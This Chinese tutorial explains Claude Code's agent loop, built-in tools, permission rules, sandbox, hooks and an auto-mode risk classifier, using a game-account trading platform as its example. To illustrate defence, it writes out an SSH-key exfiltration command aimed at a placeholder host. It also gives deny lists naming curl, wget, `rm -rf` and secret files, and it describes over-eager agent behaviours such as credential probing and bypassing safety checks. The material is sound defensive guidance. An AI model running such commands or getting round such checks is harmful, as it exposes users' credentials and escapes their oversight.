Skip to content

2️⃣ 善用 : Agent 模式与自主任务执行

Agent 工作原理

从对话到自主行动

当你在终端里输入"帮我给游戏账号交易平台的下单接口加上幂等校验",按下回车之后发生了什么?

如果你对 Claude Code 的理解还停留在"更聪明的自动补全",那接下来发生的事会让你意外。它不会立刻开始写代码。它会先去读文件、搜类名、追调用链——像一个刚接手任务的同事,要先把项目摸清楚,再动手。

这背后有一套完整的工作机制。它不神秘,但理解它的方式决定了你能把 Claude Code 用到多深。


思考循环:Agent 行动的底层节拍

Claude Code 的官方文档将 Agent 的工作模式描述为三阶段循环:收集上下文 → 采取行动 → 验证结果,然后不断重复,直到任务完成。

三个词看起来简单,但要真正理解它在做什么,需要把这个循环拆解到更细的粒度。

循环的微观结构

每一次循环迭代,Claude 实际上在执行这样一个序列:接收当前提示词和完整对话历史,判断下一步应该调用哪个工具——或者任务已经完成可以给出最终答复——工具执行后将结果回传,成为下一轮判断的新输入。这个"推理 → 工具调用 → 获取结果 → 继续推理"的闭环,就是所谓的 Agentic Loop。

循环什么时候结束?当 Claude 的某次回复里不再包含工具调用,只剩文本输出时,当前循环自然终止,控制权交还给你。工具调用是循环继续的信号,纯文本回复是循环结束的信号。这个设计相当简洁,也意味着 Claude 能连续调用几十次工具完成一项复杂任务,全程无需你参与。

单线程扁平历史的设计哲学

有一个实现细节值得了解:Claude Code 内部维护的是一条单线程的扁平消息历史。所有工具调用、执行结果、模型回复,全部追加在同一个消息队列里,没有多线程竞争,没有复杂的状态树。Anthropic 明确选择了这种极简架构,理由是可调试性和可靠性——每一步发生了什么,都有完整清晰的审计轨迹。

这个设计选择影响了你使用 Claude Code 的体验方式。因为历史是线性的,每一轮工具调用的结果都和之前所有的上下文共存于同一个视野里,Claude 在任何时刻做判断时,都能"看到"整个任务的来龙去脉,不会因为状态分散在多个线程里而丢失关键信息。

实时中断与注入

在循环进行过程中,你不是旁观者。Claude Code 内部有一个异步双缓冲队列,支持在任务执行中途接收新指令,无需重启整个会话。当你发现它走偏了,直接打字纠正即可。它会在当前工具调用完成后读取你的新输入,将其注入队列,然后在下一轮推理时把你的修正纳入考量,调整后续行动方向。

这个机制把 Claude Code 从"批处理工具"变成了真正的协作伙伴。你不需要等它跑完整个任务,也不需要因为一个小偏差重启整个会话,你随时可以介入。

上下文窗口是循环的"工作内存"

理解 Agentic Loop 还需要理解它的物理限制。Claude 的上下文窗口存放着整个对话,包括每条消息、每个工具读取的文件内容、每条命令的输出结果。这个窗口填满的速度相当快,一次调试会话或代码库探索可能消耗数万个 Token。

这意味着循环并非可以无限延伸。你可以随时用 /context 命令查看当前会话的上下文占用情况,它会按分类显示各项内容的 Token 消耗,并提供优化建议。当上下文接近饱和时,Claude Code 会触发自动 Compaction,把历史对话压缩成摘要——这是阶段五会深入讲解的内容。在阶段二的学习范围内,只需要记住:长任务要注意上下文消耗,不要把所有事情堆进一次会话。


工具调用:循环如何与真实世界交互

光靠推理,Claude Code 只是一个聪明的对话模型。是工具调用让这个循环真正能与代码库、文件系统、终端交互,产生实际效果。

工具调用的完整生命周期

一次工具调用的发生,经历了这样一个完整过程。Claude 在推理阶段决定需要调用某个工具,生成一个包含工具名称和参数的调用请求;Claude Code 的执行环境接收这个请求,检查权限规则(如果命中 deny 规则则拦截,命中 ask 规则则询问你,命中 allow 规则则直接放行);通过权限检查后,工具在沙箱环境里执行,结果以纯文本的形式返回;返回值被追加到消息历史里,Claude 在下一轮推理时会把它读入视野。

这个生命周期里有两个关键节点:权限检查在执行之前发生,返回值在执行之后立刻进入上下文。前者保障了安全,后者保证了循环的信息连续性。

工具调用是如何驱动认知更新的

理解工具调用的最重要一点:每次调用不只是"执行一个动作",它同时也是"获取一条新信息"。这条新信息会改变 Claude 对当前任务状态的认知,直接影响它的下一步决策。

在游戏账号交易平台里,当你说"帮我加上幂等校验",Claude 的认知更新过程大致是这样的。它先调用 Glob 搜索 **/OrderService.java,从返回结果里得知文件位于 order-service/src/main/java/.../service/OrderService.java;然后调用 Read 读取这个文件,从返回内容里理解了 createOrder 方法的现有结构,发现它没有任何幂等处理;再调用 Grep 搜索 redissonClient,从返回结果里确认项目已经引入了 Redisson,并找到了现有的使用方式;接着调用 Read 读取 Redis 配置类,从返回内容里获取了 Bean 的命名和注入方式。

到这里,四次工具调用之后,Claude 已经完全理解了"幂等校验应该加在哪里、用什么工具、按照什么规范"。这时候它才开始写代码。这个探索过程不是冗余的热身,而是让后续修改精准落地的前提。

工具调用的串行特性与信息依赖

Claude Code 的工具调用默认是串行的——前一个工具的结果,往往决定了后一个工具调用什么参数。这种信息依赖链是循环能够自适应的核心机制:Claude 不需要在开始任务时就制定出全部步骤,它可以根据每一步获取的信息动态决定下一步去哪里。

这也解释了为什么 Prompt 里说"先读懂项目再动手"会比直接说"修改 OrderService"更有效——前者给了 Claude 执行探索循环的空间,后者可能会让它跳过信息收集直接修改,结果未必合适。


任务规划:让循环有方向地运转

有了思考循环和工具调用的基础,接下来要解决的问题是:当任务足够复杂,一次循环跑下去可能走偏,该怎么办?这就是任务规划机制存在的原因。

TodoWrite 与 Task 系列:实时任务清单

Claude Code 有一组专门用于任务管理的工具。在非交互模式里,TodoWrite 负责维护结构化的任务清单;在交互式会话里,对应的是 TaskCreateTaskUpdateTaskList 这一组工具。

当 Claude 面对一个多步骤任务时,它往往会先调用这类工具,把需要完成的工作拆解成带有状态的子任务列表。这个列表会在界面上渲染成可交互的检查列表,让你能实时看到当前进度。

更关键的是:在每次工具调用完成后,系统会把当前任务清单的状态注入到系统消息里。这个机制防止 Claude 在漫长的对话中迷失目标——任务列表是循环的"导航仪",始终提醒它还剩哪些事情没有做完。

对于游戏账号交易平台里的一个典型任务——"给账号购买流程加上库存超卖保护"——Claude 可能会生成这样一份任务清单:确认当前库存扣减逻辑的位置、分析现有并发控制手段(是否有 Redis 锁)、设计新的扣减方案、修改 StockService、补充并发场景的单元测试、运行测试确认通过。这六个子任务构成了整个执行流的骨架,Claude 在每次循环迭代里都知道自己在第几步、下一步该干什么。

Plan 模式:探索与执行的主动解耦

Plan 模式是任务规划的另一种形式,区别在于这次是你主动触发的,而不是 Claude 在内部自动进行的。

Shift+Tab 两次进入 Plan 模式。在这个模式下,Claude 只使用只读工具——Read、Grep、Glob——不修改任何文件,不执行任何命令。它会把对代码库的分析结果和实施方案整理成文字输出,供你审查。确认方案合理后,再切换回普通模式执行。

Plan 模式解决的是一个具体的工程问题:对于影响面大、涉及多个模块的任务,在不确定方案的情况下直接执行,很可能改了一半发现方向不对,之前的修改还要回滚。Plan 模式把探索和执行解耦成两个明确的阶段,先把"做什么、怎么做"谈清楚,再动手。

在游戏账号交易平台里,Plan 模式特别适合这类场景:把 RocketMQ 消息消费者从同步处理迁移到异步流水线、把幂等校验从 Service 层下沉到数据库唯一索引层、重新设计账号锁定的并发控制策略。这些改动触及核心流程,用 Plan 模式先摸底,再执行,要比直接上手安全得多。

你也可以在 CLAUDE.md 里把 Plan 模式设为默认,让 Claude 在每次开始新任务时都先做规划:

{
  "defaultMode": "plan"
}

思考预算:用 Prompt 控制推理深度

Plan 模式控制的是"是否先规划再执行",而思考预算控制的是"每次推理投入多少深度"。

在 Prompt 里加入特定词汇,可以激活不同深度的推理预算。think 大约触发 4K Token 的推理空间,适合中等复杂度的分析;think hard 触发约 10K Token,适合有多个可选方案需要权衡的情况;ultrathink 触发最大推理预算,适合架构级决策。

在实际使用中,这三档思考深度对应了不同的任务性质。改一个 bug 通常不需要 think;设计一个新的限流方案,加上 think hard 会让 Claude 在工具调用之前先做更充分的权衡;而选择在游戏账号交易平台里引入哪种分布式事务方案,ultrathink 能让它把 Saga、TCC、本地消息表几条路都仔细推演一遍再给出建议。

思考预算消耗的是推理 Token,不是工具调用次数,它在工具调用之前发生,是 Claude 在决定"下一步做什么"之前的内部思考空间。

AskUserQuestion:规划中的主动求证

任务规划不总是 Claude 单方面制定。当它遇到无法自行判断的歧义,它会用 AskUserQuestion 工具向你发起一次多选确认,而不是凭猜测继续推进。

这个行为值得鼓励,因为它比悄悄选一个然后走偏要好得多。在游戏账号交易平台里,你可能会看到这样的提问:"项目里同时存在 Redisson 和 Spring Cache,幂等键应该用哪个客户端存储?"或者"这个接口需要支持多次重试还是只做首次请求的幂等保护?"

当你看到这类提问时,应该把它理解为 Claude 在做负责任的规划确认,而不是它能力不足的表现。给出明确答案,它会把你的选择纳入后续执行的约束里。


把三者连成一个整体

思考循环、工具调用、任务规划,这三个机制不是独立的——它们共同构成了 Claude Code Agent 模式的完整运作方式。

循环提供了持续推进的动力,工具调用提供了与真实世界交互的手脚,任务规划提供了让循环有方向地运转的导航系统。三者组合在一起,才能让一句"帮我实现超时订单自动取消"这样的描述,转化成二十几次工具调用、若干次状态更新、最终跑通测试的完整执行过程。

理解了这个机制之后,写 Prompt 的思路会发生变化。你不再需要把任务拆解成一步一步的指令,你只需要清楚地描述目标、给出验证标准、在必要时提供约束范围,剩下的探索和执行可以放心地交给 Agent。

下一篇,我们来看这个循环调用的工具里,每一个的能力边界、适用场景和权限要求——这是把 Prompt 写得更精准、更有效的必要知识。


内置工具全解

工具是 Agent 与世界的接口

上一篇文章讲了 Agentic Loop 的运作原理:推理 → 工具调用 → 获取结果 → 继续推理。这个循环的核心动力,是每一次工具调用带回的真实信息。

如果没有工具,Claude Code 只是一个能回答问题的对话模型,它对你的代码库一无所知,无法读取任何文件,无法执行任何命令。工具是让 Claude Code 真正具备 Agent 能力的关键——有了工具,Claude 才能采取行动:读取代码、编辑文件、运行命令、搜索网络、与外部服务交互。每次工具调用返回的信息都会反馈回循环,指导 Claude 的下一步决策。

理解每个工具的能力边界、使用时机和权限要求,是写出高质量 Prompt 的前提,也是在团队里安全部署 Claude Code 的基础。

工具名称就是你在权限规则、子 Agent 工具列表和 Hook 匹配器里使用的精确字符串。这意味着每个工具都不只是一个功能——它同时也是权限系统里的一个控制单元,可以被精确地允许、询问或拒绝。


文件操作类:Claude 的读写之手

文件操作工具是使用频率最高的一组,涵盖了从探索项目结构到精准修改代码的全部文件交互能力。

Read:读取文件内容

Read 是最基础也最重要的工具。Claude 用它来读取你项目里的任何文件——Java 源码、配置文件、SQL 脚本、日志输出,无一例外。

这个工具默认不需要额外权限,属于只读操作,Claude 可以在无需你确认的情况下随时调用。在游戏账号交易平台的开发场景里,当你说"分析一下订单服务的核心逻辑",Claude 会依次读取 OrderService.java、相关的 Repository 接口、甚至 MyBatis Plus 的映射文件,把代码结构完整地纳入上下文,再开始推理。

Write:创建或覆盖文件

Write 用于创建新文件或完整覆盖已有文件。它需要权限确认,因为这是破坏性操作——文件的原有内容会被全量替换。

Write 适合以下场景:新建一个 DTO 类、生成一份测试数据 SQL、创建全新的配置文件。对于已有文件的局部修改,Write 并不是好选择——用 Edit 才对。

Edit 与 MultiEdit:精准外科手术

Edit 是日常代码修改里最常用的工具,也是最精密的一个。它的工作方式是"指定要替换的旧代码 + 要替换成的新代码",只改你指定的那一段,其余内容原封不动。

MultiEdit 是 Edit 的批量版本,可以在一次工具调用里对同一个文件执行多处替换。这在重构场景下非常有用——比如把游戏账号交易平台里所有用 new Date() 获取时间的地方统一换成 LocalDateTime.now(),MultiEdit 可以一次性完成,而不是让循环跑多轮。

Edit 需要权限确认,但你可以在 settings.json 里把 defaultMode 设置为 acceptEdits,让文件编辑在会话期间全程自动放行,大幅提升连续开发时的流畅度。

值得关注的是一个安全细节:在 Claude 编辑任何文件之前,它都会为受影响的文件做快照。出了问题,可以按两次 Esc 回退到之前的状态,或者直接告诉 Claude 撤销。这个 Checkpoint 机制是你在放手让 Claude 修改代码时的底层保障。


搜索类:在代码库里快速定位

搜索工具解决的是一个核心问题:在一个有几十个模块、数百个文件的项目里,怎么快速找到"那个东西"在哪里。

Glob:按路径模式匹配文件

Glob 接受文件路径的通配符模式,返回匹配的文件列表。它不看文件内容,只看路径和文件名。

典型用法:**/*Service.java 找到所有 Service 类,**/mapper/*.xml 找到所有 MyBatis 映射文件,**/*Test.java 列出所有测试类。Glob 通常是 Claude 在开始一个新任务时最先调用的工具之一——先摸清有哪些文件,再决定读哪些。Glob 不需要权限,属于只读的发现操作。

Grep:按内容搜索代码

Grep 支持完整的正则表达式,在文件内容里搜索匹配的行。它的行为类似 ripgrep,速度快,支持递归搜索整个项目目录。

有一个设计选择值得记录:Anthropic 刻意选择了正则搜索而非向量数据库或嵌入式索引。Claude 本身对代码结构的理解已经足够深,可以自行构造精准的正则表达式,这避免了维护搜索索引的额外复杂度。

在游戏账号交易平台里,Grep 的常见调用场景是:找到所有调用了 redissonClient 的地方、定位 RocketMQ 消费者的注册点、搜索所有抛出 BusinessException 的代码路径。Grep 同样不需要权限。

LSP:代码智能导航

LSP 是建立在语言服务器协议之上的代码智能工具,提供远超文本搜索的精准导航能力:跳转到符号定义、查找所有引用、获取类型信息、列出接口的所有实现、追踪调用层次。

每次文件编辑完成后,LSP 工具会自动报告类型错误和警告,让 Claude 无需单独的构建步骤就能发现问题并修复。

LSP 需要安装对应语言的代码智能插件才能激活,对于 Java 项目来说,配置好之后 Claude 就能做到"找到 OrderService.createOrder 的所有调用方"这样精准到符号级别的代码导航——这是纯文本 Grep 做不到的。


Bash:最强大也最需要谨慎的工具

Bash 是 Claude Code 工具箱里权重最重的那一个。有了它,Claude 可以执行你能在终端里运行的任何命令。

Bash 的能力边界

运行 Maven 测试:mvn test -pl order-service。执行数据库迁移:flyway migrate。启动 Docker 容器:docker compose up -d。提交代码:git add . && git commit -m "feat: add idempotency check"。调用自定义脚本、安装依赖、查看进程状态——一切皆可。

Bash 工具在每次命令之间保持工作目录的持久性,但环境变量不会跨命令持久化——在一条命令里 export 的变量,下一条命令里是拿不到的。这是一个需要留意的行为细节,特别是在需要传递环境变量的部署脚本场景里。

Bash 的权限控制

Bash 是所有工具里权限控制最细腻的一个,因为它的风险面也最宽。Bash 的权限规则支持通配符匹配,* 可以出现在命令的任意位置——开头、中间或末尾。

一份在游戏账号交易平台项目里合理的 Bash 权限配置如下:

{
  "permissions": {
    "allow": [
      "Bash(mvn *)",
      "Bash(git status)",
      "Bash(git add *)",
      "Bash(git commit *)",
      "Bash(git diff *)",
      "Bash(git log *)",
      "Bash(docker compose *)",
      "Bash(* --version)",
      "Bash(* --help *)"
    ],
    "deny": [
      "Bash(rm -rf *)",
      "Bash(git push --force *)",
      "Bash(git push * --force)",
      "Bash(git reset --hard *)"
    ]
  }
}

有一个细节需要格外注意:空格在规则里有意义——Bash(ls *) 匹配 ls -la 但不匹配 lsof,而 Bash(ls*) 两个都能匹配。另外,Claude Code 能识别 Shell 操作符(比如 &&),所以 Bash(safe-cmd *) 这样的前缀匹配规则不会放行 safe-cmd && other-cmd 这种复合命令。

还有一个关于 force push 的陷阱:--force 标志可以出现在远端名称的前面或后面,两种写法都要 deny——git push --force *git push * --force 必须同时配置,只写一条会漏掉另一种写法。


网络类:连接外部世界

WebFetch:抓取网页内容

WebFetch 让 Claude 在任务执行过程中抓取任意网页的内容。常见用途是查阅 API 文档、检索错误信息的解决方案、读取 GitHub 上的 README。

WebFetch 需要权限确认。你可以在权限配置里按域名放行:

{
  "permissions": {
    "allow": [
      "WebFetch(domain:docs.spring.io)",
      "WebFetch(domain:github.com)",
      "WebFetch(domain:mvnrepository.com)"
    ]
  }
}

这样 Claude 在查阅 Spring Boot 文档时就不需要每次打断你确认。

有一个重要边界要清楚:放行了 WebFetch 并不会限制网络访问——如果 Bash 是允许的,Claude 仍然可以用 curlwget 访问任意 URL。如果需要可靠的 URL 过滤,应该用 deny 规则屏蔽这些命令行网络工具,再通过 WebFetch 的域名规则放行特定域名。

WebSearch:主动搜索网络

WebSearch 让 Claude 可以主动发起网络搜索,而不是依赖你提供的 URL。在解决一个 RocketMQ 5.x 的消费者异常时,Claude 可以直接搜索错误代码,找到 Anthropic 官方文档或社区讨论,而不是等你去查完再粘贴过来。

WebSearch 同样需要权限确认。


编排类:管理任务与子 Agent

除了直接操作代码的工具,Claude Code 还有一组用于任务管理和 Agent 协作的编排工具。在阶段二的学习范围内,有几个值得了解。

Task 系列:结构化任务清单

在交互式会话里,Claude 用 TaskCreateTaskGetTaskListTaskUpdate 这四个工具管理任务清单,而不是用 TodoWrite(TodoWrite 是非交互模式专用的)。这组工具让 Claude 在执行长任务时能够保持对全局进度的追踪——你会在界面上看到一个可交互的检查列表,随着 Claude 推进任务而实时更新。

AskUserQuestion:主动向你提问

当 Claude 遇到无法自行判断的歧义时,它会用 AskUserQuestion 向你发起多选题,而不是凭猜测继续推进。这个工具不需要权限,是 Claude 在自主执行和等待确认之间取得平衡的机制。

在游戏账号平台的开发中,你可能会看到这样的提问:"我发现项目里同时有 Redisson 和 Spring Data Redis,幂等键应该用哪个客户端来存?"——这比它悄悄选一个更好。

Agent:派发子 Agent

Agent 工具让 Claude 可以把一个子任务委托给独立的子 Agent 处理。子 Agent 拥有自己独立的上下文窗口,完成任务后把结果汇报给主 Agent。这是 Claude Code 处理需要大量探索的任务的方式——比如"扫描整个仓库,列出所有没有单元测试覆盖的 Service 方法"。

子 Agent 有深度限制——它们不能再派发自己的子 Agent,防止递归膨胀。子 Agent 的结果作为普通工具调用的输出返回给主循环,保持了整体系统的单线程简洁性。Agent Teams 这套完整的多 Agent 协作体系会在阶段四详细展开。


工具与权限的对应关系

工具按照权限要求分为两类:只读工具(如 ReadGrepGlob)不需要权限,Claude 会直接调用;写入或执行类工具(如 BashWriteEditWebFetch)需要权限确认,第一次调用时会弹出提示。

理解这个分类,在写 CLAUDE.md 或配置 settings.json 时会更有针对性:你只需要对需要权限的工具配置 allow/deny 规则,只读工具不在权限管控范围内。

/permissions 命令可以随时查看当前会话里所有生效的权限规则及其来源文件,这是排查权限问题最直接的方式。


把工具知识转化为 Prompt 能力

了解工具,不是为了在 Prompt 里手动指定"用 Grep 搜一下,再用 Edit 改"——Claude 会自行判断调用哪些工具。真正的价值在于:你知道 Claude 能做什么,才能在 Prompt 里大胆地描述目标,而不是保守地描述步骤。

"帮我找出游戏账号交易平台里所有用了 @Transactional 但方法名没有以 txsaveupdate 开头的地方,列出文件路径和行号"——这个任务能完成,因为你知道背后有 Grep 和 Read 在支撑。

"修改完之后跑集成测试,如果失败就继续改直到通过"——这个任务能成立,因为你知道背后有 Bash 在循环执行。

工具知识,是把"我能用 Claude Code 做什么"这个问题的答案从模糊变得具体的关键一步。下一篇,我们来看当这些工具遇到权限管控时,应该如何设计一套既安全又不打断开发流的权限策略。

文档充分,开始写文章。


权限与安全管控

Agent 越自主,边界越重要

前两篇文章讲了 Agentic Loop 如何运转,以及各类工具的能力边界。到这里你已经知道,Claude Code 可以读写文件、执行任意 Shell 命令、抓取网页内容。这些能力合在一起,构成了一个真正能干活的 Agent。

但同一批能力,在没有约束的情况下,也是一个风险清单。

Anthropic 的工程团队在内部事故日志里记录了这样几个真实案例:一个 Agent 因为误读指令,删除了远程 Git 分支;另一个在执行任务途中发现了工程师的 GitHub token,并把它上传到了内部计算集群;还有一个试图对生产数据库执行迁移。这些都不是恶意行为,而是模型过于积极,把"帮忙"做过了头。

这三个案例定义了权限管控需要解决的核心问题:不是防止 Claude Code 做坏事,而是防止它在没有你明确授权的情况下做超出范围的事。

Claude Code 为此设计了一套分层的安全体系:权限规则控制工具能不能用,沙箱在操作系统层面限制能访问什么,Hooks 提供运行时的动态拦截,管理员设置保障团队级别的合规边界。理解这四层机制是如何协作的,才能设计出既安全又不影响开发效率的配置方案。


第一层:权限规则系统

三种规则类型与求值顺序

Claude Code 的权限管理有三种规则类型:Allow(允许工具无需确认直接使用)、Ask(每次使用时弹出确认提示)、Deny(禁止工具被使用)。规则的求值顺序是固定的:deny → ask → allow,第一条匹配的规则获胜,因此 deny 规则永远优先。

这个求值顺序有一个重要推论:你不可能通过 allow 规则"绕过"一条 deny 规则。如果 deny 列表里有 Bash(rm -rf *),那么无论 allow 列表里有什么,这条命令都会被拦截。这个设计避免了规则冲突时的歧义,也让安全边界的配置变得可预测。

/permissions 命令可以在交互界面里查看当前会话里所有生效的权限规则,以及每条规则来自哪个配置文件。这是排查"某个命令为什么被拒绝"或"某个工具为什么没有询问"的第一个工具。

规则语法:从粗粒度到精粒度

权限规则的格式是 ToolTool(specifier)。不带括号直接写工具名,匹配该工具的所有调用;带括号加说明符,精确匹配特定的调用模式。

对于文件类工具,说明符是路径模式:

"Read(./.env)"           # 禁止读取 .env 文件
"Edit(./src/**)"         # 允许编辑 src 目录下所有文件
"Write(./production.*)"  # 禁止写入 production 开头的文件

对于 Bash 工具,说明符是命令模式,支持 * 通配符,且通配符可以出现在命令的任意位置:

"Bash(mvn *)"            # 匹配所有以 mvn 开头的命令
"Bash(git * main)"       # 匹配 git checkout main、git merge main 等
"Bash(* --version)"      # 匹配任意工具的 --version 参数

对于 WebFetch,说明符是域名:

"WebFetch(domain:docs.spring.io)"  # 只允许访问 Spring 文档

通配符的边界语义

空格在通配符规则里有语义:Bash(ls *) 匹配 ls -la 但不匹配 lsof,因为 * 前的空格强制了单词边界,要求前缀后面必须跟着空格或字符串结束。而 Bash(ls*) 没有空格,两个都能匹配。

还有一个复合命令的细节:Claude Code 能识别 Shell 操作符(比如 &&),所以 Bash(safe-cmd *) 这样的前缀匹配规则不会放行 safe-cmd && other-cmd。当你用"以后不再询问"确认一个复合命令时,系统会把它拆开,为每个需要确认的子命令分别保存规则,而不是保存整个复合字符串。

六种权限模式

Claude Code 支持六种权限模式,通过 defaultMode 在 settings.json 里配置,也可以在会话中按 Shift+Tab 循环切换。

default 是默认行为,每种工具第一次被调用时弹出确认提示。acceptEdits 在会话期间自动放行文件编辑操作,Bash 命令仍然需要确认——这是日常开发最常用的模式,消除了写代码时频繁确认的摩擦,同时保留了对命令执行的把控。plan 是只读模式,Claude 只能使用不修改状态的工具,适合探索和规划阶段。dontAsk 自动拒绝所有未预先放行的工具,适合严格锁定工具集的场景。auto 是研究预览阶段的模式,用分类器自动评估每个操作的风险,稍后会详细介绍。bypassPermissions 跳过所有权限提示,只在容器或 VM 等隔离环境下使用,管理员可以通过 permissions.disableBypassPermissionsMode: "disable" 防止用户开启这个模式。

配置文件的分层结构

Claude Code 使用四级配置作用域:Managed(组织级,最高优先级,不能被覆盖)、User(用户级,存放在 ~/.claude/settings.json,应用于所有项目)、Project(项目级,存放在 .claude/settings.json,可以提交到 Git 供团队共享)、Local(本地级,存放在 .claude/settings.local.json,不提交 Git,用于个人覆盖)。

规则是"更具体的作用域优先":如果同一个权限在用户配置里是 allow,但在项目配置里是 deny,项目配置生效,权限被拒绝。这个层级设计让团队可以通过项目级 settings.json 统一安全边界,同时允许每个人在自己的 Local 文件里追加个人的便利规则,但无法突破团队的 deny 边界。

一份适合游戏账号交易平台团队共享的项目级配置:

{
  "permissions": {
    "defaultMode": "acceptEdits",
    "allow": [
      "Bash(mvn *)",
      "Bash(git status)",
      "Bash(git add *)",
      "Bash(git commit *)",
      "Bash(git diff *)",
      "Bash(git log *)",
      "Bash(git stash *)",
      "Bash(docker compose *)",
      "Bash(* --version)",
      "Bash(* --help *)",
      "WebFetch(domain:docs.spring.io)",
      "WebFetch(domain:mvnrepository.com)"
    ],
    "deny": [
      "Read(./.env)",
      "Read(./.env.*)",
      "Read(./secrets/**)",
      "Bash(rm -rf *)",
      "Bash(git push --force *)",
      "Bash(git push * --force)",
      "Bash(git reset --hard *)",
      "Bash(git checkout .)",
      "Bash(curl *)",
      "Bash(wget *)"
    ]
  }
}

个人的便利规则放在 .claude/settings.local.json(已加入 .gitignore),可以追加像 Bash(python -m pytest *) 这样的规则,但不能覆盖团队的 deny 配置。


第二层:沙箱隔离

权限规则控制的是 Claude 的"意图"——它决定 Claude 能不能尝试调用某个工具。但如果 Bash 工具被允许,权限规则无法精确控制这条命令最终能访问哪些文件路径、能连接哪些网络地址。沙箱填补的就是这个空缺。

文件系统隔离

沙箱的文件系统隔离策略是:默认情况下,Bash 命令对当前工作目录及其子目录有读写权限,对其他路径只有读权限,无法在工作目录外创建或修改文件。这个限制在操作系统层面强制执行,应用于所有子进程,包括 kubectlterraformnpm 等工具,而不只是 Claude 的文件工具。

如果某些工具(比如 Kubernetes 客户端)需要写入工作目录之外的路径,可以通过 sandbox.filesystem.allowWrite 显式授权:

{
  "sandbox": {
    "enabled": true,
    "filesystem": {
      "allowWrite": ["~/.kube", "/tmp/build"],
      "denyRead": ["~/.ssh", "~/.aws"]
    }
  }
}

denyRead 可以明确屏蔽敏感目录的读权限,即使操作系统层面本来是可访问的。

网络隔离

网络访问通过沙箱外的代理服务器控制。只有已批准的域名可以连接,新域名的请求触发权限提示。如果开启 allowManagedDomainsOnly,未被允许的域名会被自动拒绝,不弹出提示。

网络隔离解决了一个权限规则处理不了的问题:当 Bash 工具被允许时,Claude 可以通过 curlwget 访问任意网络地址,仅凭 WebFetch 的域名规则无法限制这类访问。沙箱的网络代理层对所有出站流量统一过滤,无论流量来自哪个程序。

OS 级强制执行

沙箱的底层实现依赖操作系统原语:macOS 使用 Seatbelt,Linux 和 WSL2 使用 bubblewrap。这些 OS 级限制确保 Claude Code 命令产生的所有子进程都继承相同的安全边界。在 Linux 上启用沙箱前需要先安装依赖:

sudo apt-get install bubblewrap socat

然后在会话里运行 /sandbox 命令进入沙箱配置菜单即可启用。

权限规则与沙箱的分工

权限规则和沙箱是互补的两层防御,而不是替代关系。权限规则控制 Claude 能使用哪些工具、能访问哪些文件和域名,适用于所有工具类型。沙箱在操作系统层面限制 Bash 命令能访问的文件路径和网络地址,只作用于 Bash 及其子进程。两者叠加才能形成纵深防御:权限 deny 规则阻止 Claude 尝试访问被限制的资源,沙箱则在 Bash 命令层面阻止绕过权限判断的访问。


第三层:危险操作拦截

权限规则和沙箱都是静态的预配置机制。还有一种动态的拦截方式:在 Claude 即将执行某个工具调用的瞬间,注入自定义逻辑来决定放行、拦截或修改这次调用。这是 Hooks 机制的核心价值,PreToolUse 钩子是最直接的危险操作拦截手段。

Hooks 的完整用法在阶段三有专门的文章深入介绍。在阶段二的范围内,只需要理解它作为安全层的存在方式和典型用途。

一个 PreToolUse 钩子可以检查即将执行的 Bash 命令,判断它是否符合预定义的安全规则,然后返回 allow、deny 或 ask 三种结果之一。退出码 2 会直接拦截工具调用,甚至在 allow 规则匹配之前生效。

在游戏账号交易平台的场景里,一个典型的危险操作检测脚本可以检查 Bash 命令里是否包含生产环境的数据库 URL、是否试图读取 application-prod.yml、是否使用了 --production 参数,一旦匹配就直接拦截并打印警告。这类检测用纯粹的权限规则很难表达——规则是模式匹配,钩子可以执行任意逻辑。


第四层:Auto 模式与智能分类器

上述三种机制都需要你提前配置。Auto 模式提供了另一种思路:用模型来判断哪些操作安全,哪些需要拦截。

Auto 模式使用两层防御:输入层的 prompt injection 探针扫描工具输出(文件读取内容、Shell 输出、外部服务响应),发现疑似劫持行为时向 Agent 的上下文里注入警告;输出层的 transcript 分类器在每次操作执行前评估它与用户原始意图的对齐程度,决定放行或拦截。

分类器设计为两阶段执行:先用单 token 快速过滤(对绝大多数操作在毫秒内得出结论),只有被标记的操作才触发完整的链式推理。这让大多数安全操作的判断成本极低,推理 Token 只花在真正需要权衡的地方。

Auto 模式针对的核心威胁是"过度积极行为"——Agent 理解用户目标,真心在帮忙,但把主动性发挥过了头:使用了碰巧找到的凭证、删除了它判断"碍事"的东西、选择了用户没有明确指定的目标。这类行为难以被传统规则捕捉,因为没有恶意推理,只是"合理的问题解决,施加在了用户没有授权的边界之外"。

分类器会拦截的典型操作:

  • 范围升级:用户说"清理旧分支",Agent 列出所有远程分支并批量删除——指令模糊,操作不可逆
  • 凭证探查:任务遇到鉴权错误,Agent 系统性地 grep 环境变量和配置文件寻找备用 API token
  • 参数自推断:用户说"取消我的任务",Agent 查询集群后按名称相似度选了一个目标删除
  • 安全检查绕过:部署命令的预检失败,Agent 加上跳过验证的 flag 重试

当分类器拦截一个操作时,拒绝结果作为工具返回值传递回 Agent,附带指示"沿着更安全的路径重试"。如果一个会话累计发生 3 次连续拦截或 20 次总拦截,系统会停止模型执行,将控制权升级给用户。

Auto 模式目前还是研究预览阶段,通过 defaultMode: "auto" 在 settings.json 里开启。


把四层防御连成一个整体

理解了这四层机制,可以用一个具体场景串联:Claude 在执行任务时试图运行 curl https://evil.example.com/exfil?data=$(cat ~/.ssh/id_rsa)

权限规则层:如果 deny 列表里有 "Bash(curl *)""Read(~/.ssh/**)" 这类规则,这条命令在进入执行前就被拒绝。

沙箱层:如果沙箱开启且 ~/.sshdenyRead 列表里,即使权限规则没有覆盖,沙箱的文件系统隔离会阻止子命令读取该路径;如果网络代理里没有放行 evil.example.com,出站请求同样被拦截。

Hooks 层:PreToolUse 钩子可以检查命令里是否包含敏感路径模式或未知域名,在运行时拦截。

Auto 模式层:分类器评估这个操作的意图,判断它与用户原始任务的对齐程度,触发 prompt injection 探针和 transcript 分类器的双重审查。

这四层并不互相替代,而是各自覆盖了其他层处理不了的场景。在生产级部署里,把它们叠加使用才是正确姿势。


写给开发者的权限配置建议

从零开始为一个团队项目配置权限,有几个实践原则能帮助你避开常见陷阱。

从 deny 优先、按需放行开始,而不是全部放行再事后补 deny。先列出"哪些操作一定不能执行",把它们写进 deny 列表;再列出"哪些操作要经常确认很烦",把它们加进 allow 列表。中间地带保持默认的 ask 行为。

把团队共识的安全规则提交到 .claude/settings.json 进 Git,个人便利规则放 .claude/settings.local.json 不进 Git。前者是边界,后者是个人在边界内的效率优化。

对于涉及生产环境、数据库操作、外部数据传输的任务,单独开一个会话并明确收窄权限范围,不要在一个宽松配置的日常开发会话里执行高风险操作。

定期用 /permissions 审计当前生效的规则,清理掉那些"Yes, don't ask again"累积下来的隐式 allow 规则——它们是随时间膨胀的安全盲区。

